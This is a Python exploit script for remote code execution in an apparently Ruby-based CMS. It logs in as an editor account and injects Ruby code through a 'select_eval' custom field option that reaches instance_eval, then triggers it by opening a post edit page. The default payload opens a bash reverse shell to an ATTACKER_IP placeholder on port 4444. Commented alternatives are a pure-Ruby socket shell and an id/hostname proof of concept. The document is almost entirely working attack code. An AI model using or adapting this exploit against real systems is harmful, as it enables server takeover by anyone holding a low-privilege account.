import requests, re, time BASE = "http://target.example" ATTACKER_IP = "ATTACKER_IP" PORT = 4444 TYPE_ID = 2 # post type ID - from admin sidebar URL POST_ID = 1 # any post under that type - from post list edit links USERNAME = "editor" # any account with custom_fields manage permission PASSWORD = "Editor1234!" # Reverse shell. Thread.new keeps the page render from hanging. # Payload strings must use double quotes so #{ } interpolation executes inside instance_eval. PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}' # No-bash alternative (pure Ruby sockets, cross-platform): # PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' # Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page): # PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]' s = requests.Session() r = s.get(f"{BASE}/admin/login") csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1) s.post(f"{BASE}/admin/login", data={ "authenticity_token": csrf, "user[username]": USERNAME, "user[password]": PASSWORD, }) r = s.get(f"{BASE}/admin/dashboard") csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1) idx = f"x{int(time.time())}" r = s.post(f"{BASE}/admin/settings/custom_fields", data={ "authenticity_token": csrf, "custom_field_group[name]": f"exploit_{idx}", "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType f"fields[{idx}][name]": "Shell", f"fields[{idx}][slug]": f"rce_{idx}", f"field_options[{idx}][field_key]": "select_eval", f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2 }, allow_redirects=True) gid = re.search(r'/custom_fields/(\d+)', r.url) print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})") # Trigger: instance_eval fires when the edit form renders the select_eval field r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit") print(f"Edit page: HTTP {r.status_code} - check listener")